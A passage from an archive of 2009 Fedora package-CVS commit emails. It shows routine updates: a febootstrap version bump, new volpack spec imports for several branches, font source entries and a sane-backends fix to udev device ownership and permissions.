+++ .cvsignore	22 Oct 2009 12:28:06 -0000	1.10
@@ -1 +1 @@
-febootstrap-2.4.tar.gz
+febootstrap-2.5.tar.gz


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/F-12/febootstrap.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- febootstrap.spec	30 Jul 2009 15:30:22 -0000	1.9
+++ febootstrap.spec	22 Oct 2009 12:28:06 -0000	1.10
@@ -1,6 +1,6 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
-Version:     2.4
+Version:     2.5
 Release:     1%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
@@ -20,7 +20,6 @@ Requires:    yum >= 3.2
 Requires:    MAKEDEV
 Requires:    util-linux-ng
 Requires:    cpio
-Requires:    upx
 
 # These are suggestions.  However making them hard requirements
 # pulls in far too much stuff.
@@ -81,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+- New upstream release 2.5.
+
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	30 Jul 2009 15:30:22 -0000	1.9
+++ sources	22 Oct 2009 12:28:06 -0000	1.10
@@ -1 +1 @@
-a1989ed76830092e40eec23470795258  febootstrap-2.4.tar.gz
+895e770f9036b21d534c84f1a0158f0b  febootstrap-2.5.tar.gz



From rjones at fedoraproject.org  Thu Oct 22 12:28:07 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:28:07 +0000 (UTC)
Subject: rpms/febootstrap/EL-5 .cvsignore, 1.9, 1.10 febootstrap.spec, 1.10, 
	1.11 sources, 1.9, 1.10
Message-ID: <20091022122807.8CAA811C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19054

Modified Files:
	.cvsignore febootstrap.spec sources 
Log Message:
New upstream release 2.5.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/EL-5/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	30 Jul 2009 15:29:23 -0000	1.9
+++ .cvsignore	22 Oct 2009 12:28:06 -0000	1.10
@@ -1 +1 @@
-febootstrap-2.4.tar.gz
+febootstrap-2.5.tar.gz


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/EL-5/febootstrap.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- febootstrap.spec	30 Jul 2009 15:29:23 -0000	1.10
+++ febootstrap.spec	22 Oct 2009 12:28:07 -0000	1.11
@@ -1,6 +1,6 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
-Version:     2.4
+Version:     2.5
 Release:     1%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
@@ -20,7 +20,6 @@ Requires:    yum >= 3.2
 Requires:    MAKEDEV
 #Requires:    util-linux-ng
 Requires:    cpio
-#Requires:    upx
 
 # These are suggestions.  However making them hard requirements
 # pulls in far too much stuff.
@@ -81,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+- New upstream release 2.5.
+
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/EL-5/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	30 Jul 2009 15:29:23 -0000	1.9
+++ sources	22 Oct 2009 12:28:07 -0000	1.10
@@ -1 +1 @@
-a1989ed76830092e40eec23470795258  febootstrap-2.4.tar.gz
+895e770f9036b21d534c84f1a0158f0b  febootstrap-2.5.tar.gz



From ozamosi at fedoraproject.org  Thu Oct 22 12:29:48 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Thu, 22 Oct 2009 12:29:48 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts/devel .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091022122948.A9A9E11C008C@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19493

Modified Files:
	.cvsignore sources 
Log Message:
.cvsignore and sources entries for source



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:48:01 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:29:48 -0000	1.2
@@ -0,0 +1 @@
+AnonymousPro.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:48:01 -0000	1.1
+++ sources	22 Oct 2009 12:29:48 -0000	1.2
@@ -0,0 +1 @@
+3cdcfc1979242670410e26ce42d226b0  AnonymousPro.zip



From red at fedoraproject.org  Thu Oct 22 12:31:02 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Thu, 22 Oct 2009 12:31:02 +0000 (UTC)
Subject: rpms/volpack/F-11 import.log, NONE, 1.1 volpack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022123102.98D7411C008C@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/volpack/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19959/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log volpack.spec 
Log Message:
* Thu Oct 22 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial import




--- NEW FILE import.log ---
volpack-1_0c7-3_fc11:F-11:volpack-1.0c7-3.fc11.src.rpm:1256214612


--- NEW FILE volpack.spec ---
Name:          volpack
Version:       1.0c7
Release:       3%{?dist}
Summary:       Portable library for fast volume rendering
Group:         System Environment/Libraries
License:       BSD
URL:           http://amide.sourceforge.net
Source0:       http://downloads.sourceforge.net/amide/%{name}/%{name}-%{version}.tgz
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: m4

%description 
VolPack is a portable library of fast volume rendering algorithms that
produce high-quality images.


%package       devel
Summary:       Shared libraries and header files for development using volpack
Group:         Development/Libraries
Requires:      volpack = %{version}-%{release}

%description   devel
The volpack-devel package contains the header files and shared libraries
necessary for developing programs using the volpack volume rendering 
library.


%package       doc
Summary:       Documentation and examples for help using volpack
Group:         Documentation
Requires:      volpack = %{version}-%{release}

%description   doc
The volpack-doc package contains docs and examples helpful for developing
programs using the volpack volume rendering library.


%prep
%setup -q


%build
%configure --disable-dependency-tracking --disable-static
# no %{?_smp_mflags} because parallel builds will fail very often
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'

# remove doc and example files we don't want to package
rm -f doc/vp_userguide..pdf doc/Makefile*
pushd examples
make clean
rm -f Makefile.*
chmod 644 test.csh
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README
%{_mandir}/man3/*.3*
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%files doc
%defattr(-,root,root,-)
%doc doc/ examples/


%changelog
* Sun Oct 04 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-3
- Disabled parallel building due to problems

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-2
- Fixed some bits and added a doc subpackage

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:30:21 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:31:02 -0000	1.2
@@ -0,0 +1 @@
+volpack-1.0c7.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:30:21 -0000	1.1
+++ sources	22 Oct 2009 12:31:02 -0000	1.2
@@ -0,0 +1 @@
+119ec828ecad8dbf7afc4e71f4c4eb69  volpack-1.0c7.tgz



From red at fedoraproject.org  Thu Oct 22 12:32:04 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Thu, 22 Oct 2009 12:32:04 +0000 (UTC)
Subject: rpms/volpack/F-12 import.log, NONE, 1.1 volpack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022123204.E62BD11C008C@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/volpack/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20344/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log volpack.spec 
Log Message:
* Thu Oct 22 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial import




--- NEW FILE import.log ---
volpack-1_0c7-3_fc11:F-12:volpack-1.0c7-3.fc11.src.rpm:1256214697


--- NEW FILE volpack.spec ---
Name:          volpack
Version:       1.0c7
Release:       3%{?dist}
Summary:       Portable library for fast volume rendering
Group:         System Environment/Libraries
License:       BSD
URL:           http://amide.sourceforge.net
Source0:       http://downloads.sourceforge.net/amide/%{name}/%{name}-%{version}.tgz
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: m4

%description 
VolPack is a portable library of fast volume rendering algorithms that
produce high-quality images.


%package       devel
Summary:       Shared libraries and header files for development using volpack
Group:         Development/Libraries
Requires:      volpack = %{version}-%{release}

%description   devel
The volpack-devel package contains the header files and shared libraries
necessary for developing programs using the volpack volume rendering 
library.


%package       doc
Summary:       Documentation and examples for help using volpack
Group:         Documentation
Requires:      volpack = %{version}-%{release}

%description   doc
The volpack-doc package contains docs and examples helpful for developing
programs using the volpack volume rendering library.


%prep
%setup -q


%build
%configure --disable-dependency-tracking --disable-static
# no %{?_smp_mflags} because parallel builds will fail very often
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'

# remove doc and example files we don't want to package
rm -f doc/vp_userguide..pdf doc/Makefile*
pushd examples
make clean
rm -f Makefile.*
chmod 644 test.csh
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README
%{_mandir}/man3/*.3*
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%files doc
%defattr(-,root,root,-)
%doc doc/ examples/


%changelog
* Sun Oct 04 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-3
- Disabled parallel building due to problems

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-2
- Fixed some bits and added a doc subpackage

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:30:21 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:32:04 -0000	1.2
@@ -0,0 +1 @@
+volpack-1.0c7.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:30:21 -0000	1.1
+++ sources	22 Oct 2009 12:32:04 -0000	1.2
@@ -0,0 +1 @@
+119ec828ecad8dbf7afc4e71f4c4eb69  volpack-1.0c7.tgz



From nphilipp at fedoraproject.org  Thu Oct 22 12:32:41 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 12:32:41 +0000 (UTC)
Subject: rpms/sane-backends/devel sane-backends-1.0.20-udev.patch, 1.1,
	1.2 sane-backends.spec, 1.133, 1.134
Message-ID: <20091022123241.6CCB311C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20492

Modified Files:
	sane-backends-1.0.20-udev.patch sane-backends.spec 
Log Message:
fix device file ownership and mode


sane-backends-1.0.20-udev.patch:
 sane-desc.c |   15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

Index: sane-backends-1.0.20-udev.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends-1.0.20-udev.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sane-backends-1.0.20-udev.patch	22 Oct 2009 10:17:45 -0000	1.1
+++ sane-backends-1.0.20-udev.patch	22 Oct 2009 12:32:41 -0000	1.2
@@ -1,11 +1,17 @@
-commit 5e153e8354ee1cba5d7cd4a532f671810186a6a1
+commit 91cbd80ad6f86af2d5696caeab2be0c404c4663c
 Author: Nils Philippsen <nils at redhat.com>
-Date:   Thu Oct 22 11:19:22 2009 +0200
+Date:   Thu Oct 22 14:29:41 2009 +0200
 
     patch: udev
     
     Squashed commit of the following:
     
+    commit e385558cf214d263af93147995f1f8b729d2dabe
+    Author: Nils Philippsen <nils at redhat.com>
+    Date:   Thu Oct 22 14:19:53 2009 +0200
+    
+        fix device file ownership and mode
+    
     commit fe874d6f9873598e8bcd9201508bc2c89365e821
     Author: Nils Philippsen <nils at redhat.com>
     Date:   Thu Oct 22 11:16:16 2009 +0200
@@ -13,26 +19,50 @@ Date:   Thu Oct 22 11:19:22 2009 +0200
         adapt generated udev rules for Fedora
 
 diff --git a/tools/sane-desc.c b/tools/sane-desc.c
-index c317700..b6638a4 100644
+index c317700..07f3a2b 100644
 --- a/tools/sane-desc.c
 +++ b/tools/sane-desc.c
-@@ -3488,7 +3488,7 @@ print_udev (void)
+@@ -56,9 +56,9 @@
+ #define COLOR_NEW          "\"#F00000\""
+ #define COLOR_UNKNOWN      "\"#000000\""
+ 
+-#define DEVMODE  "0664"
++#define DEVMODE  "0644"
+ #define DEVOWNER "root"
+-#define DEVGROUP "scanner"
++#define DEVGROUP "root"
+ 
+ #ifndef PATH_MAX
+ # define PATH_MAX 1024
+@@ -3475,8 +3475,8 @@ print_udev (void)
+ 	    }
+ 	}
+       printf ("\n");
+-      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
+-	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVGROUP);
++      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVOWNER, DEVGROUP);
+       usbid = usbid->next;
+     }
+ 
+@@ -3488,7 +3488,8 @@ print_udev (void)
    printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
    printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
    printf ("# Generic: SCSI device type 6 indicates a scanner\n");
 -  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
-+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
++  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++          DEVMODE, DEVOWNER, DEVGROUP);
    printf ("# Some scanners advertise themselves as SCSI device type 3\n");
  
    while (scsiid)
-@@ -3521,8 +3521,8 @@ print_udev (void)
+@@ -3521,8 +3522,8 @@ print_udev (void)
  	    }
          }
        printf ("\n");
 -      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
 -	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
-+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
++      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVOWNER, DEVGROUP);
        scsiid = scsiid->next;
      }
    printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- sane-backends.spec	22 Oct 2009 10:17:45 -0000	1.133
+++ sane-backends.spec	22 Oct 2009 12:32:41 -0000	1.134
@@ -15,7 +15,7 @@
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 8%{?dist}
+Release: 9%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -189,6 +189,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-9
+- fix device file ownership and mode
+
 * Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-8
 - ship adapted udev rules from F-12 on (#512516)
 - don't require pam anymore



From red at fedoraproject.org  Thu Oct 22 12:33:07 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Thu, 22 Oct 2009 12:33:07 +0000 (UTC)
Subject: rpms/volpack/EL-5 import.log, NONE, 1.1 volpack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022123307.A135711C008C@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/volpack/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20781/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log volpack.spec 
Log Message:
* Thu Oct 22 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial import




--- NEW FILE import.log ---
volpack-1_0c7-3_fc11:EL-5:volpack-1.0c7-3.fc11.src.rpm:1256214764


--- NEW FILE volpack.spec ---
Name:          volpack
Version:       1.0c7
Release:       3%{?dist}
Summary:       Portable library for fast volume rendering
Group:         System Environment/Libraries
License:       BSD
URL:           http://amide.sourceforge.net
Source0:       http://downloads.sourceforge.net/amide/%{name}/%{name}-%{version}.tgz
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: m4

%description 
VolPack is a portable library of fast volume rendering algorithms that
produce high-quality images.


%package       devel
Summary:       Shared libraries and header files for development using volpack
Group:         Development/Libraries
Requires:      volpack = %{version}-%{release}

%description   devel
The volpack-devel package contains the header files and shared libraries
necessary for developing programs using the volpack volume rendering 
library.


%package       doc
Summary:       Documentation and examples for help using volpack
Group:         Documentation
Requires:      volpack = %{version}-%{release}

%description   doc
The volpack-doc package contains docs and examples helpful for developing
programs using the volpack volume rendering library.


%prep
%setup -q


%build
%configure --disable-dependency-tracking --disable-static
# no %{?_smp_mflags} because parallel builds will fail very often
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'

# remove doc and example files we don't want to package
rm -f doc/vp_userguide..pdf doc/Makefile*
pushd examples
make clean
rm -f Makefile.*
chmod 644 test.csh
popd


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README
%{_mandir}/man3/*.3*
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%files doc
%defattr(-,root,root,-)
%doc doc/ examples/


%changelog
* Sun Oct 04 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-3
- Disabled parallel building due to problems

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-2
- Fixed some bits and added a doc subpackage

* Sat Oct 03 2009 Sandro Mathys <red at fedoraproject.org> - 1.0c7-1
- initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:30:21 -0000	1.1
+++ .cvsignore	22 Oct 2009 12:33:07 -0000	1.2
@@ -0,0 +1 @@
+volpack-1.0c7.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/volpack/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:30:21 -0000	1.1
+++ sources	22 Oct 2009 12:33:07 -0000	1.2
@@ -0,0 +1 @@
+119ec828ecad8dbf7afc4e71f4c4eb69  volpack-1.0c7.tgz



From nphilipp at fedoraproject.org  Thu Oct 22 12:33:19 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 12:33:19 +0000 (UTC)
Subject: rpms/sane-backends/F-12 sane-backends-1.0.20-udev.patch, 1.1,
	1.2 sane-backends.spec, 1.133, 1.134
Message-ID: <20091022123319.DEEA611C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20899

Modified Files:
	sane-backends-1.0.20-udev.patch sane-backends.spec 
Log Message:
fix device file ownership and mode


sane-backends-1.0.20-udev.patch:
 sane-desc.c |   15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

Index: sane-backends-1.0.20-udev.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends-1.0.20-udev.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sane-backends-1.0.20-udev.patch	22 Oct 2009 10:19:14 -0000	1.1
+++ sane-backends-1.0.20-udev.patch	22 Oct 2009 12:33:19 -0000	1.2
@@ -1,11 +1,17 @@
-commit 5e153e8354ee1cba5d7cd4a532f671810186a6a1
+commit 91cbd80ad6f86af2d5696caeab2be0c404c4663c
 Author: Nils Philippsen <nils at redhat.com>
-Date:   Thu Oct 22 11:19:22 2009 +0200
+Date:   Thu Oct 22 14:29:41 2009 +0200
 
     patch: udev
     
     Squashed commit of the following:
     
+    commit e385558cf214d263af93147995f1f8b729d2dabe
+    Author: Nils Philippsen <nils at redhat.com>
+    Date:   Thu Oct 22 14:19:53 2009 +0200
+    
+        fix device file ownership and mode
+    
     commit fe874d6f9873598e8bcd9201508bc2c89365e821
     Author: Nils Philippsen <nils at redhat.com>
     Date:   Thu Oct 22 11:16:16 2009 +0200
@@ -13,26 +19,50 @@ Date:   Thu Oct 22 11:19:22 2009 +0200
         adapt generated udev rules for Fedora
 
 diff --git a/tools/sane-desc.c b/tools/sane-desc.c
-index c317700..b6638a4 100644
+index c317700..07f3a2b 100644
 --- a/tools/sane-desc.c
 +++ b/tools/sane-desc.c
-@@ -3488,7 +3488,7 @@ print_udev (void)
+@@ -56,9 +56,9 @@
+ #define COLOR_NEW          "\"#F00000\""
+ #define COLOR_UNKNOWN      "\"#000000\""
+ 
+-#define DEVMODE  "0664"
++#define DEVMODE  "0644"
+ #define DEVOWNER "root"
+-#define DEVGROUP "scanner"
++#define DEVGROUP "root"
+ 
+ #ifndef PATH_MAX
+ # define PATH_MAX 1024
+@@ -3475,8 +3475,8 @@ print_udev (void)
+ 	    }
+ 	}
+       printf ("\n");
+-      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
+-	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVGROUP);
++      printf ("ATTR{idVendor}==\"%s\", ATTR{idProduct}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      usbid->usb_vendor_id + 2,  usbid->usb_product_id + 2, DEVMODE, DEVOWNER, DEVGROUP);
+       usbid = usbid->next;
+     }
+ 
+@@ -3488,7 +3488,8 @@ print_udev (void)
    printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
    printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
    printf ("# Generic: SCSI device type 6 indicates a scanner\n");
 -  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
-+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
++  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++          DEVMODE, DEVOWNER, DEVGROUP);
    printf ("# Some scanners advertise themselves as SCSI device type 3\n");
  
    while (scsiid)
-@@ -3521,8 +3521,8 @@ print_udev (void)
+@@ -3521,8 +3522,8 @@ print_udev (void)
  	    }
          }
        printf ("\n");
 -      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
 -	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
-+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
-+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
++      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", OWNER=\"%s\", GROUP=\"%s\", ENV{libsane_matched}=\"yes\"\n",
++	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVOWNER, DEVGROUP);
        scsiid = scsiid->next;
      }
    printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- sane-backends.spec	22 Oct 2009 10:19:14 -0000	1.133
+++ sane-backends.spec	22 Oct 2009 12:33:19 -0000	1.134
@@ -15,7 +15,7 @@
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 8%{?dist}
+Release: 9%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -189,6 +189,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-9
+- fix device file ownership and mode
+
 * Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-8
 - ship adapted udev rules from F-12 on (#512516)
 - don't require pam anymore



From vcrhonek at fedoraproject.org  Thu Oct 22 12:34:22 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 12:34:22 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/EL-4 sblim-cmpi-dns-0.5.2-include.patch, NONE, 
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091022123422.44C3D11C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/EL-4
